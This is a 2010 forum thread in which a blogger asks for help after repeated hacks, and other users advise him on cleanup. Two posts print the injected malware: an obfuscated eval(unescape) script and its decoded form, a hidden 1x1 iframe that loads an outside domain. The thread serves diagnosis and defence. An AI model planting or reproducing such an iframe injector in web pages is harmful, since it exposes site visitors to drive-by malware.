Need help!! My blogs was hacked 3 times

Discussion in 'Security' started by moffey, Aug 9, 2010.

  1. #1
    Today is 3rd times I cant access my blogs. Already contact to hosting comp they said my blogs have been hacked. The last my PC detect trojan.

    somebody can help me ?
     
    moffey, Aug 9, 2010 IP
  2. awesometbn

    awesometbn Peon

    Messages:
    268
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #2
    We're going to need more details. Maybe you could post a sample of the code, or copy and paste into a search engine to see if that code has been talked about before. This is pretty common with SQL injection, cross-site scripting, and other techniques. You have to restrict access to your blog through .htaccess or something similar. Restore your blog from a clean backup copy. Check your webserver log files. If this is a Wordpress blog, there are plenty of plugins that will help you lock down the comments section, and protect your content from outside intruders. Tell us more details about what is going on and I'm sure somebody will chime in with some helpful advice. Thanks.
     
    awesometbn, Aug 10, 2010 IP
  3. moffey

    moffey Active Member

    Messages:
    1,180
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    53
    #3
    details : <script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E %77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%7 2%63%3D%22%68%74%74%70%3A%2F%2F%61%77%6F%74%62%6F% 70%2E%63%6F%6D%2F%3F%31%31%36%36%37%35%32%31%38%22 %20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%3 1%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

    already googling and and try to solve by deleting manually but still cant access my blog. Try using kapersky internet security 2011 mention object infected trojan.script.iframer

    somebody can help me to guide me step step?





     
    moffey, Aug 10, 2010 IP
  4. YoGem

    YoGem Active Member

    Messages:
    676
    Likes Received:
    8
    Best Answers:
    2
    Trophy Points:
    90
    #4
    Two questions:

    a) CMS?
    b) Web Host?
     
    YoGem, Aug 10, 2010 IP
  5. awesometbn

    awesometbn Peon

    Messages:
    268
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #5
    I used a Javascript decoder from http://www.java2s.com/Code/JavaScriptDemo/UnescapeEncoderDecode.htm and it revealed the following code. This is the iframe that is causing all of the problems. You not only need to remove it but you need to prevent it from coming back. Check the security settings of your web server, and restrict unauthorized visitors from making edits (writes) to your blog.

     document . write ( ' < iframe s%7 2c = " http://awotbo% 70.com/?116675218 "  width=1 height=%3 1 > < /iframe > ' ) 
    Code (markup):
     
    awesometbn, Aug 11, 2010 IP
    Blue Star Ent. likes this.
  6. awesometbn

    awesometbn Peon

    Messages:
    268
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #6
    awesometbn, Aug 11, 2010 IP
  7. moffey

    moffey Active Member

    Messages:
    1,180
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    53
    #7
    Thanks all... now my blogs is running well.. :)
     
    moffey, Aug 15, 2010 IP